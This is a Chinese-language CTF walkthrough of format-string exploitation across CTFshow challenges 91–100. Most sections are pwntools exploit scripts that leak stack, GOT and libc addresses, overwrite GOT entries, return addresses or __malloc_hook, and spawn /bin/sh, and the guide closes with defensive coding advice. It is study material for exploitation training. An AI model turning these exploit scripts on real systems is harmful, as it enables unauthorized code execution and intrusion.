CTFshow格式化字符串漏洞实战:从栈泄露到GOT劫持的完整利用链
2026/8/6 7:51:39 网站建设 项目流程

1. 项目概述

最近在CTFshow平台上刷题,正好做到格式化字符串漏洞的实战题目,从第91题一路做到第100题。这十道题可以说是把格式化字符串漏洞的各种利用姿势都玩了个遍,从最基础的栈内存泄露,到任意地址读写,再到最终的GOT表劫持拿shell,整个过程下来对格式化字符串的理解又深了一层。很多刚接触PWN的同学可能会觉得格式化字符串漏洞比栈溢出要抽象一些,毕竟它不涉及直接的缓冲区覆盖,而是通过控制格式化字符串参数来“欺骗”printf家族函数,让它们按照我们的意愿去读写内存。但实际上,只要你理解了格式化字符串在栈上的布局原理,掌握了那几个关键的格式化符号(特别是%p、%s、%n),剩下的就是一些套路化的操作了。这篇文章我就结合CTFshow的这十道实战题目,把格式化字符串漏洞从入门到精通的完整链条给大家拆解清楚,包括如何定位偏移、如何泄露关键地址、如何计算libc基址、如何覆盖内存实现任意代码执行。我会尽量用最直白的语言,配合具体的payload构造过程,让你看完就能上手复现。

2. 格式化字符串漏洞核心原理回顾

在深入实战之前,我们先快速回顾一下格式化字符串漏洞的核心机制。这个漏洞的本质是程序员错误地使用了用户可控的字符串作为格式化字符串函数的第一个参数。比如下面这段代码:

char buf[100]; scanf("%s", buf); printf(buf); // 危险!用户输入的buf被直接当作格式化字符串

正常的printf调用应该是printf("%s", buf),第一个参数是格式字符串,第二个参数才是要输出的数据。但上面这种写法,直接把用户输入的buf当成了格式字符串。如果用户在buf里输入%p%x这样的格式化符号,printf就会按照这些符号的含义去栈上读取数据并输出。

2.1 栈内存布局与参数传递

理解格式化字符串漏洞的关键在于理解x86架构下函数调用时参数的传递方式。在32位程序中,参数是通过栈传递的。当调用printf("%s %d", str, num)时,参数从右向左压栈:

栈顶(低地址) ... 格式化字符串地址 <- printf的第一个参数 str的地址 <- printf的第二个参数 num的值 <- printf的第三个参数 ... 栈底(高地址)

printf函数内部会解析格式化字符串,遇到%s就从栈上取一个参数当作地址,然后输出该地址处的字符串;遇到%d就从栈上取一个参数当作整数输出。问题在于,printf并不知道它“应该”取多少个参数——它完全信任格式化字符串。如果格式化字符串里有5个%p,它就会从栈上取5个值输出,不管调用者实际上只传了2个参数。

2.2 关键格式化符号

实战中我们最常用的几个格式化符号:

  • %p%x:以指针或十六进制形式输出栈上的值
  • %s:将栈上的值解释为地址,输出该地址处的字符串(直到遇到NULL)
  • %n:将到目前为止已输出的字符数写入到栈上参数指向的地址
  • %c:输出字符
  • %d:输出十进制整数
  • %hhn:写入1字节(char)
  • %hn:写入2字节(short)
  • %n:写入4字节(int)
  • %ln:写入8字节(long)

其中%n系列是攻击的关键,因为它能实现内存写操作。%hhn按字节写入的特性在构造精确数值时特别有用。

2.3 偏移计算与直接参数访问

格式化字符串中可以用%k$p这样的语法直接访问第k个参数(从1开始计数)。比如%3$p就是输出栈上第3个参数(相对于格式化字符串地址的位置)。这个特性让我们能够精确控制要读写的内存位置,而不需要一堆%p来“滑”到目标位置。

确定偏移是格式化字符串利用的第一步。通常的做法是输入一串有规律的字符串(如AAAA%p%p%p%p...)或%p链,观察输出中哪里出现了我们的输入内容对应的十六进制值(AAAA对应0x41414141)。

3. CTFshow格式化字符串题目实战解析

3.1 题目91:基础栈地址泄露

第一题通常是最简单的热身。题目给了一个有格式化字符串漏洞的程序,目标是通过泄露栈上的信息找到flag。这种题目一般有两种解法:要么flag已经在内存中,我们只需要找到它并打印出来;要么需要泄露某个关键地址。

解题步骤:

  1. 测试偏移:先发送AAAA%p%p%p%p%p%p%p%p,观察输出
  2. 定位输入位置:在输出中寻找0x41414141(AAAA的十六进制),假设出现在第6个%p输出,那么偏移就是6
  3. 泄露栈内存:用%6$s尝试把AAAA所在位置当作地址,输出该地址处的字符串。但这里我们实际上要泄露的是其他地址
  4. 寻找flag:通常flag可能在环境变量中,或者被读入到栈/堆的某个位置。我们可以用%k$s尝试不同的偏移,或者用%k$p查看指针,再用%s去读

实际payload示例:

from pwn import * # 连接题目 p = remote('xxx.xxx.xxx.xxx', 10000) # 测试偏移 p.sendline(b'AAAA%p-%p-%p-%p-%p-%p-%p-%p') response = p.recvline() print(response) # 假设发现0x41414141在第5个位置 # 构造payload泄露可能包含flag的地址 for i in range(1, 30): p.sendline(f'%{i}$p'.encode()) val = p.recvline().strip() try: # 尝试将泄露的值当作地址,用%s读取 addr = int(val, 16) if addr > 0x400000: # 只尝试看起来像地址的值 p.sendline(f'%{i}$s'.encode()) data = p.recvline() if b'flag' in data or b'{' in data: print(f"Found at offset {i}: {data}") break except: pass

注意事项:在实际比赛中,flag可能不在栈上,而是在堆上或者通过其他方式加载。这时候需要结合程序逻辑来分析。另外,有些题目会清空输出缓冲区,需要及时接收数据。

3.2 题目92:任意地址读进阶

这一题通常会增加难度,flag不在栈上,但栈上有一个指向flag的指针。我们需要先泄露这个指针的值,再用这个指针去读flag。

关键技巧:

  1. 双重解引用:先用%k$p泄露一个指针值,再用%s读取该指针指向的内容
  2. 地址对齐问题:如果泄露的地址包含不可打印字符(如0x0a换行符、0x00空字符),%s可能会提前终止。这时候需要调整输入,让地址出现在合适的位置
  3. 小端序处理:x86是小端序,低位字节在前。构造payload时要注意字节顺序

实战案例:假设通过%5$p泄露到地址0x804c000,这个地址处存放着flag的地址0x804c100。我们需要:

  1. 先读取0x804c000处的值(即0x804c100
  2. 再用0x804c100去读flag
# 假设偏移是5,先泄露指针 p.sendline(b'%5$p') pointer_addr = int(p.recvline().strip(), 16) print(f"Pointer at: {hex(pointer_addr)}") # 现在我们需要读取pointer_addr处的值 # 但我们需要把这个地址放到栈上,然后用%s读取 # 构造payload: [地址] + %[偏移]$s payload = p32(pointer_addr) + b'%7$s' # 假设地址在偏移7的位置 p.sendline(payload) # 接收数据,前4字节是我们写入的地址,后面是目标地址处的字符串 response = p.recv() flag_addr = u32(response[4:8]) # 读取pointer_addr处的值 print(f"Flag at: {hex(flag_addr)}") # 现在用同样的方法读flag payload = p32(flag_addr) + b'%7$s' p.sendline(payload) flag = p.recv()[4:] # 跳过前4字节的地址 print(f"Flag: {flag}")

踩坑记录:这里最容易出错的是偏移计算。当我们把地址放在payload开头时,这个地址本身会成为printf的参数之一。假设原本的偏移是5,放入4字节地址后,这个地址会占据栈上的一个参数位置,后面的%7$s中的7需要相应调整。通常需要加1,但具体要看栈布局。

3.3 题目93:GOT表地址泄露与libc计算

从这一题开始进入真正的利用阶段。目标不再是直接读flag,而是通过泄露libc地址,最终执行system("/bin/sh")。第一步就是泄露GOT表中的函数地址。

GOT/PLT机制简要回顾:

  • PLT(Procedure Linkage Table):程序链接表,包含跳转到GOT的代码
  • GOT(Global Offset Table):全局偏移表,存放函数的实际地址
  • 第一次调用函数时,GOT指向PLT中的解析代码,解析完成后填入真实地址

泄露步骤:

  1. 找到printf的GOT地址:用readelf -r ./binaryobjdump -R ./binary
  2. 构造payload泄露GOT值:把GOT地址放到栈上,用%s读取
  3. 计算libc基址libc_base = leaked_addr - libc.symbols['printf']
  4. 计算system地址system_addr = libc_base + libc.symbols['system']
from pwn import * context.arch = 'i386' context.log_level = 'debug' elf = ELF('./challenge') libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 根据题目给的libc版本 p = process('./challenge') # 先确定偏移 p.sendline(b'AAAA%p%p%p%p%p%p%p%p') resp = p.recvline() print(resp) # 假设偏移是6,AAAA出现在第6个%p offset = 6 # 获取printf的GOT地址 printf_got = elf.got['printf'] log.info(f"printf GOT: {hex(printf_got)}") # 泄露printf的实际地址 payload = p32(printf_got) + f'%{offset}$s'.encode() p.sendline(payload) # 接收数据,前4字节是printf_got地址,后面4字节是printf的实际地址 resp = p.recv() printf_addr = u32(resp[4:8]) log.success(f"printf address: {hex(printf_addr)}") # 计算libc基址和system地址 libc_base = printf_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] log.success(f"libc base: {hex(libc_base)}") log.success(f"system address: {hex(system_addr)}")

重要细节:这里用%s读取时,printf会把GOT地址处的值当作指针,然后去读那个指针指向的字符串。但GOT里存的是函数地址,不是字符串。所以实际上我们读取的是函数地址的前几个字节,如果这些字节恰好是可打印字符,就会输出乱码;如果是不可打印字符,可能什么都看不到。正确做法是用%{offset}$p直接以指针形式输出,或者确保接收所有字节。

3.4 题目94:初探内存写与%n利用

这一题引入%n格式化符,让我们能够向任意地址写入数据。%n会将到目前为止已输出的字符数写入到对应参数指向的地址。

基本利用思路:

  1. 把目标地址放到栈上
  2. 通过控制输出字符数来控制写入的值
  3. %hhn按字节写入可以精确控制每个字节的值

简单示例:向地址0x804c000写入0xdeadbeef

# 0xdeadbeef = 3735928559 十进制 # 一次写入这么大的数字会导致输出3.7GB的数据,不现实 # 需要分字节写入 target_addr = 0x804c000 payload = b'' # 写入0xef到0x804c000 # 先输出0xef=239个字符 payload += p32(target_addr) payload += b'%239c%6$hhn' # 假设偏移是6 # 写入0xbe到0x804c001 # 已经输出了239+4=243个字符,需要输出到0xbe=190 # 但190<243,所以需要利用整数溢出 # 输出到190+256=446个字符 payload += p32(target_addr + 1) payload += b'%203c%7$hhn' # 446-243=203 # 写入0xad到0x804c002 # 当前输出446,需要到0xad=173 # 173+256=429,429-446=-17,再加256=239 payload += p32(target_addr + 2) payload += b'%239c%8$hhn' # 需要仔细计算 # 写入0xde到0x804c003 # 类似计算...

实际上手工计算这些值非常繁琐,pwntools提供了fmtstr_payload函数来自动生成payload。

3.5 题目95:覆盖GOT表实现控制流劫持

这是格式化字符串漏洞的终极目标之一:覆盖GOT表中的函数地址,将其改为system或其他函数的地址,从而在调用该函数时执行我们想要的代码。

利用步骤:

  1. 泄露libc地址(如题目93)
  2. 计算system地址
  3. 将printf或其它函数的GOT表项覆盖为system地址
  4. 当程序再次调用该函数时,实际执行的是system
  5. 传入"/bin/sh"作为参数获取shell
from pwn import * elf = ELF('./challenge') libc = ELF('./libc.so.6') # 题目提供的libc p = remote('xxx.xxx.xxx.xxx', 10000) # 1. 泄露libc地址(假设已经知道偏移是6) printf_got = elf.got['printf'] payload = p32(printf_got) + b'%6$s' p.sendline(payload) p.recv(4) # 跳过我们写入的地址 printf_addr = u32(p.recv(4)) libc_base = printf_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] # 2. 覆盖printf_got为system_addr # 使用pwntools的fmtstr_payload自动生成 payload = fmtstr_payload(6, {printf_got: system_addr}) p.sendline(payload) # 3. 现在调用printf实际上会调用system # 发送"/bin/sh"作为下一次printf的参数 p.sendline(b'/bin/sh\x00') # 4. 获取shell p.interactive()

关键点fmtstr_payload函数会自动处理地址对齐、字节写入顺序、整数溢出等问题。它的参数是偏移量和要写入的{地址: 值}字典。内部实现原理就是我们上面说的分字节写入,但自动处理了所有计算。

3.6 题目96:同时覆盖多个GOT表项

有些题目可能因为保护机制或程序逻辑,单次覆盖一个GOT表项不够。比如程序可能调用了exit()退出,或者有栈保护。这时候我们需要同时覆盖多个GOT表项。

常见场景:

  1. 覆盖printfsystem,同时覆盖exitmain或其它无害函数,避免程序退出
  2. 覆盖strlenstrcmp等函数为system,当程序比较输入时触发
  3. 覆盖freesystem,当释放内存时触发
# 同时覆盖printf和exit的GOT表项 printf_got = elf.got['printf'] exit_got = elf.got['exit'] main_addr = elf.symbols['main'] # 计算要写入的值 writes = { printf_got: system_addr, exit_got: main_addr # 让exit跳回main,形成循环 } payload = fmtstr_payload(offset, writes) p.sendline(payload)

性能考虑:同时写入多个地址时,payload可能会很长。如果程序有输入长度限制,可能需要优化。优化方法包括:优先写入低字节相同的地址、利用整数溢出减少输出字符数、使用%hn(2字节写入)而不是%hhn(1字节写入)等。

3.7 题目97:无libc情况下的利用

有时候题目不提供libc,或者提供的libc版本不确定。这时候我们需要通过泄露多个函数地址来推断libc版本和基址。

技术要点:

  1. 泄露至少两个libc函数的地址
  2. 计算它们的偏移差
  3. 在线查询或本地匹配libc版本
  4. 使用DynELF或LibcSearcher等工具
from pwn import * from LibcSearcher import LibcSearcher # 泄露两个函数地址 printf_got = elf.got['printf'] puts_got = elf.got['puts'] # 泄露printf地址 payload = p32(printf_got) + b'%6$s' p.sendline(payload) p.recv(4) printf_addr = u32(p.recv(4)) # 泄露puts地址 payload = p32(puts_got) + b'%6$s' p.sendline(payload) p.recv(4) puts_addr = u32(p.recv(4)) # 使用LibcSearcher查找libc版本 libc = LibcSearcher('printf', printf_addr) libc.add_condition('puts', puts_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system')

替代方案:如果题目是64位,且只给了部分libc函数,可以尝试通过函数偏移特征来识别。比如__libc_start_main的地址通常以0x2400x260结尾,system__libc_start_main的偏移通常是固定的。

3.8 题目98:64位格式化字符串漏洞

64位下的格式化字符串漏洞利用与32位有显著不同,主要区别在于参数传递方式:

  1. 前6个参数通过寄存器传递:rdi, rsi, rdx, rcx, r8, r9
  2. 格式化字符串在rdi中:所以第一个%p输出的是rsi的值,第二个是rdx,以此类推
  3. 栈上参数从第7个开始:要访问栈上的数据,需要使用%7$p%8$p
  4. 地址对齐问题:64位地址可能包含NULL字节,导致字符串截断

64位利用示例:

from pwn import * context.arch = 'amd64' context.log_level = 'debug' p = process('./challenge64') # 测试偏移 p.sendline(b'AAAA%p%p%p%p%p%p%p%p%p%p') resp = p.recvline() print(resp) # 在64位下,AAAA可能出现在第几个%p? # 前6个%p对应寄存器rsi-rdx-rcx-r8-r9-栈第一个 # 所以AAAA通常在%7$p或之后 # 假设偏移是8 offset = 8 # 泄露libc地址,需要把地址放在栈上 # 但64位地址可能有NULL字节,需要用其他方法 printf_got = elf.got['printf'] # 方法1:将地址放在payload末尾,用%{offset}$s读取 # 但需要确保地址中不含NULL字节 payload = b'%8$sAAAA' + p64(printf_got) # AAAA用于对齐 p.sendline(payload) resp = p.recvuntil(b'AAAA') printf_addr = u64(p.recv(6).ljust(8, b'\x00')) # 方法2:使用%{offset}$lln分部分写入地址 # 或者使用pwntools的fmtstr_payload,它自动处理64位

64位特殊技巧:由于地址高位通常是0,%s读取时会在NULL字节处停止。解决方案:

  1. 使用%{offset}$p以指针形式输出,然后解析
  2. 将地址放在payload中间,确保前面有足够数据
  3. 使用%c链构造地址,但比较复杂
  4. 利用程序已有的指针,通过部分覆盖来修改

3.9 题目99:绕过FULL RELRO保护

RELRO(Relocation Read-Only)保护有两种级别:

  • Partial RELRO:GOT表可写
  • FULL RELRO:GOT表只读,无法覆盖

当遇到FULL RELRO时,不能直接覆盖GOT表。这时候需要寻找其他利用点:

绕过方法:

  1. 覆盖返回地址:如果栈地址可泄露,可以覆盖栈上的返回地址
  2. 覆盖函数指针:程序中的回调函数指针、析构函数指针等
  3. 覆盖hook函数:如__malloc_hook__free_hook__realloc_hook
  4. 修改程序逻辑数据:如修改身份验证标志、修改关键变量值
# 示例:覆盖栈上的返回地址 # 1. 先泄露栈地址 p.sendline(b'%p%p%p%p%p%p%p') resp = p.recvline() stack_leak = int(resp.split(b'0x')[1], 16) # 假设第二个%p是栈地址 # 2. 计算返回地址位置 # 返回地址通常在格式化字符串参数之后不远处 ret_addr = stack_leak + 0x20 # 需要调试确定偏移 # 3. 覆盖返回地址为system payload = fmtstr_payload(offset, {ret_addr: system_addr}) p.sendline(payload) # 4. 触发返回 p.sendline(b'exit') # 或等待函数自然返回

覆盖__malloc_hook示例:

# 泄露libc地址后,计算__malloc_hook地址 malloc_hook = libc_base + libc.symbols['__malloc_hook'] # one_gadget是libc中的一段代码,执行execve("/bin/sh") # 使用one_gadget工具查找:one_gadget libc.so.6 one_gadget = libc_base + 0x45216 # 示例偏移 # 覆盖__malloc_hook为one_gadget payload = fmtstr_payload(offset, {malloc_hook: one_gadget}) p.sendline(payload) # 触发malloc,比如通过输入大量数据 p.sendline(b'1000') # 假设程序会根据输入malloc

3.10 题目100:综合实战与自动化利用

最后一题通常是前面所有技巧的综合,可能包括:

  • 信息泄露(栈地址、libc地址、pie基址)
  • 绕过各种保护(canary、pie、relro)
  • 多阶段利用(先泄露,再写,最后触发)

自动化利用框架思路:

from pwn import * def leak_address(offset, addr): """泄露任意地址的内容""" payload = p32(addr) + f'%{offset}$s'.encode() p.sendline(payload) p.recvuntil(p32(addr)) data = p.recvuntil(b'\x00', drop=True) return data def write_address(offset, addr, value): """向任意地址写入值""" writes = {addr: value} payload = fmtstr_payload(offset, writes) p.sendline(payload) return True def exploit(): # 1. 确定偏移 offset = find_offset() # 2. 泄露必要信息 stack_leak = leak_stack(offset) pie_base = leak_pie_base(offset) if pie_enabled else 0 libc_base = leak_libc_base(offset) # 3. 根据保护机制选择利用方式 if full_relro: # 尝试覆盖hook或栈返回地址 if libc_base: malloc_hook = libc_base + libc.symbols['__malloc_hook'] one_gadget = find_one_gadget(libc_path) write_address(offset, malloc_hook, one_gadget) trigger_malloc() else: # 覆盖GOT表 printf_got = pie_base + elf.got['printf'] system_addr = libc_base + libc.symbols['system'] write_address(offset, printf_got, system_addr) p.sendline(b'/bin/sh') # 4. 获取shell p.interactive()

4. 格式化字符串漏洞利用的常见问题与调试技巧

4.1 偏移计算不准怎么办?

偏移计算是格式化字符串利用的第一步,也是最容易出错的一步。常见问题及解决方案:

问题1:本地和远程偏移不同

  • 原因:环境变量差异、栈布局不同
  • 解决:使用自动化脚本探测,或者用%p链观察规律
def find_offset(): for i in range(1, 50): p.sendline(f'AAAA%{i}$p'.encode()) resp = p.recvline() if b'0x41414141' in resp: return i return None

问题2:地址包含不可打印字符

  • 现象:输出被截断或乱码
  • 解决:使用%{i}$p代替%{i}$s,或者调整payload结构

问题3:对齐问题导致偏移变化

  • 现象:加入地址后偏移计算错误
  • 解决:确保8字节对齐(64位)或4字节对齐(32位)
# 32位对齐示例 payload = b'' payload += p32(addr1) payload += p32(addr2) if len(payload) % 4 != 0: payload += b'A' * (4 - len(payload) % 4) # 填充到4字节对齐

4.2 内存写入失败的原因排查

使用%n写入内存时可能遇到的问题:

问题1:写入值不正确

  • 检查:已输出字符数计算是否正确
  • 技巧:使用%{num}c控制输出字符数,注意num是十进制

问题2:分段写入时顺序错误

  • 注意:%hhn写入顺序应该从低地址到高地址,因为写入高字节会影响低字节的计数
  • 正确顺序:先写最低字节,然后写较高字节,考虑整数溢出

问题3:程序崩溃或超时

  • 原因:写入只读内存、写入非法地址、payload过长
  • 调试:用gdb跟踪,看在哪一步崩溃
  • 优化:使用%hn(2字节)减少payload长度

4.3 使用pwntools的fmtstr模块

pwntools的fmtstr模块可以大大简化利用过程:

from pwn import * # 自动探测偏移 def exec_fmt(payload): p.sendline(payload) return p.recvuntil(b'\n', drop=True) auto = FmtStr(exec_fmt) offset = auto.offset print(f"Found offset: {offset}") # 自动生成payload writes = { elf.got['printf']: system_addr, elf.got['exit']: main_addr } payload = fmtstr_payload(offset, writes, write_size='byte') # write_size可选:'byte'(%hhn)、'short'(%hn)、'int'(%n)

fmtstr_payload内部原理:

  1. 收集所有要写入的地址和值
  2. 按地址排序,相同值的地址分组
  3. 计算每个地址需要写入的字节值
  4. 考虑整数溢出,合理安排写入顺序
  5. 生成最终的格式化字符串

4.4 对抗缓解措施

现代CTF题目可能会加入各种缓解措施:

措施1:限制格式化字符串长度

  • 对策:使用最短的payload,优先覆盖关键地址
  • 技巧:使用%hn代替%hhn,减少payload长度

措施2:过滤某些字符

  • 如过滤%n$
  • 对策:使用%c链配合%hn,或者利用其他格式化符号

措施3:沙箱或seccomp限制

  • 限制系统调用,无法getshell
  • 对策:构造ORW(open-read-write)链读取flag
  • 或者使用其他方式输出flag,如覆盖printf的返回地址为输出函数

措施4:地址随机化加强

  • 对策:多次泄露,计算基址
  • 或者利用部分地址覆盖(partial overwrite)

5. 实战中的高级技巧与经验分享

5.1 利用%a格式化符泄露浮点数

%a以十六进制形式输出浮点数,可以泄露栈上的数据,有时能绕过某些过滤:

# %a会输出类似0x1.8p+3的格式,包含指针信息 payload = b'%a' * 20 p.sendline(payload) # 解析输出可以得到栈上的指针

5.2 使用%n和%c配合精确控制

当需要写入特定值但输出字符数难以控制时,可以结合%c

# 写入0x100到地址addr # 0x100 = 256 payload = p32(addr) payload += b'%256c%n' # 输出256个字符后写入

5.3 利用格式化字符串修改程序状态

除了覆盖GOT表,还可以修改程序中的关键变量:

// 假设程序中有 int authenticated = 0; char username[100]; // 通过格式化字符串漏洞,可以修改authenticated为1 // 先泄露authenticated的地址,然后用%n写入

5.4 堆上的格式化字符串漏洞

如果格式化字符串在堆上,利用方式类似,但需要注意:

  • 堆地址可能不包含NULL字节,更容易利用
  • 可能需要先泄露堆地址
  • 利用结束后可能需要恢复堆状态,避免崩溃

5.5 格式化字符串与信息泄露结合

在实际漏洞利用中,格式化字符串常与其他漏洞结合:

  1. 先栈溢出泄露canary,再用格式化字符串覆盖返回地址
  2. 先堆溢出泄露libc,再用格式化字符串覆盖hook
  3. 格式化字符串泄露堆地址,再用use-after-free控制流劫持

6. CTFshow 91-100题目具体解法示例

由于CTFshow题目可能随时间变化,这里给出通用解法框架。实际解题时需要根据题目具体调整。

6.1 题目环境搭建与调试

本地调试设置:

# 关闭ASLR,方便调试 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 编译测试程序 gcc -m32 -fno-stack-protector -no-pie -z execstack fmt.c -o fmt # 使用gdb调试 gdb ./fmt set follow-fork-mode child b printf r < payload.txt

pwntools调试脚本:

from pwn import * context.arch = 'i386' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] # 本地调试 p = process('./challenge') gdb.attach(p, ''' b *printf c ''') # 或者远程连接 # p = remote('pwn.challenge.ctf.show', 9999)

6.2 通用解题模板

#!/usr/bin/env python3 from pwn import * context.arch = 'i386' context.log_level = 'info' def solve_challenge(host, port): # 1. 连接 p = remote(host, port) # 2. 探测偏移 p.sendline(b'AAAA%p%p%p%p%p%p%p%p%p%p') resp = p.recvline() offset = None for i in range(1, 20): if f'0x41414141'.encode() in resp: # 解析出偏移 parts = resp.split(b'0x') for idx, part in enumerate(parts[1:], 1): if b'41414141' in part: offset = idx break if offset: break if not offset: # 尝试其他方法 for i in range(1, 20): p.sendline(f'%{i}$p'.encode()) val = p.recvline().strip() if val == b'(nil)': continue addr = int(val, 16) if addr & 0xffff == 0x4141: # 如果输入的是AA offset = i break log.info(f"Offset: {offset}") # 3. 泄露libc地址(以printf为例) elf = ELF('./challenge') # 本地有二进制时 # 或者通过泄露计算GOT地址 # 方法1:如果知道二进制,直接取GOT # printf_got = elf.got['printf'] # 方法2:通过泄露计算 # 先泄露一个已知函数的地址,如__libc_start_main p.sendline(f'%{offset+2}$p'.encode()) # 假设是__libc_start_main libc_start_main = int(p.recvline().strip(), 16) # 4. 计算system地址(需要libc版本) # 这里假设已知libc版本,实际比赛可能需要查 libc_base = libc_start_main - 0x18640 # 偏移需要根据libc版本调整 system_addr = libc_base + 0x3a940 # 5. 覆盖GOT # 需要知道要覆盖哪个函数的GOT # 通常选择printf、puts、read等 # 6. 发送/bin/sh获取shell # 具体payload根据题目调整 p.interactive() if __name__ == '__main__': solve_challenge('127.0.0.1', 9999)

6.3 特殊情况的处理

情况1:程序有fork或多进程

  • 子进程继承父进程内存,但文件描述符可能共享
  • 对策:每次连接重新利用,或者利用进程间通信

情况2:程序有alarm或超时

  • 对策:写自动化脚本快速完成利用
  • 或者先patch二进制去掉alarm

情况3:输入有过滤或限制

  • 如过滤$n等字符
  • 对策:使用其他格式化符号,或编码绕过
# 如果过滤了$,无法使用直接参数访问 # 可以用多个%p滑到目标位置 payload = b'%p' * offset + b'%s' # 滑到第offset个参数后读取

7. 防御措施与安全编程建议

虽然作为攻击者我们研究如何利用漏洞,但作为开发者更应该知道如何防御:

7.1 安全编程实践

  1. 永远不要使用用户输入作为格式化字符串

    // 错误 printf(user_input); // 正确 printf("%s", user_input);
  2. 使用编译时检查

    gcc -Wformat -Wformat-security -Werror=format-security
  3. 使用安全的替代函数

    // 避免使用printf(s),使用 printf("%s", s); // 或者使用puts puts(s);

7.2 现有代码的加固

  1. 静态分析工具:使用Coverity、Fortify等工具检测
  2. 动态检测:AddressSanitizer、Fuzzing
  3. 运行时保护:FORTIFY_SOURCE
    gcc -D_FORTIFY_SOURCE=2 -O2

7.3 CTF中的保护机制

了解这些保护机制有助于我们设计利用方案:

  1. Stack Canary:栈溢出检测
  2. ASLR:地址空间布局随机化
  3. PIE:位置无关可执行文件
  4. RELRO:重定位只读
  5. NX:数据不可执行

格式化字符串漏洞的利用虽然有一定难度,但掌握原理后就会发现它是一类非常规律化的漏洞。从信息泄露到任意地址读写,再到最终的控制流劫持,每一步都有成熟的技巧和工具支持。CTFshow的这10道题目很好地覆盖了从基础到进阶的各个知识点,通过实战练习,你不仅能掌握格式化字符串漏洞的利用,还能加深对程序内存布局、函数调用约定、动态链接机制的理解。在实际漏洞挖掘中,格式化字符串漏洞已经比较少见,但理解它的原理对于学习其他类型的漏洞仍然很有帮助。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询